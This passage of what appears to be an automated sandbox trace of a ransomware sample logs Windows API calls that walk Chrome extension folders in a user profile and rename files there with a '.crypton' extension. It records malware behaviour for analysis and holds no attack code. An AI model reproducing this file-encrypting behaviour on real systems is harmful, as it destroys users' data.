nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.576] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef2c880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef2c880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.582] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef529e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef529e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.587] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef529e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef529e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.592] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef529e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef529e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.598] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef78b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef78b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.603] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef78b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef78b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.608] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef78b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef78b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.615] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef9eca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef9eca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.620] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef9eca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef9eca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.626] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef9eca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef9eca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.630] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeefc4e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeefc4e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.635] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeefc4e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeefc4e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.641] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeefc4e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeefc4e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0190.648] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeefeaf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeefeaf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549990 [0190.653] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.crypton"), dwFlags=0x2) returned 1 [0190.656] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.crypton"), dwFlags=0x2) returned 1 [0190.658] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.crypton"), dwFlags=0x2) returned 1 [0190.660] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.crypton"), dwFlags=0x2) returned 1 [0190.666] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0110c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0110c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.671] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0110c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0110c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.677] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef037220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef037220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.682] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef037220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef037220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.689] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef037220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef037220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.694] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef05d380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef05d380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.699] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef05d380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef05d380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.706] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0834e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0834e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.711] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0834e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0834e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.716] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0834e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0834e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.724] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0a9640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0a9640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.730] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0a9640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0a9640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.737] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0a9640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0a9640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.743] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0cf7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0cf7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.750] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0cf7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0cf7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.756] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0f5900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0f5900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.762] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0f5900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0f5900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.767] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", 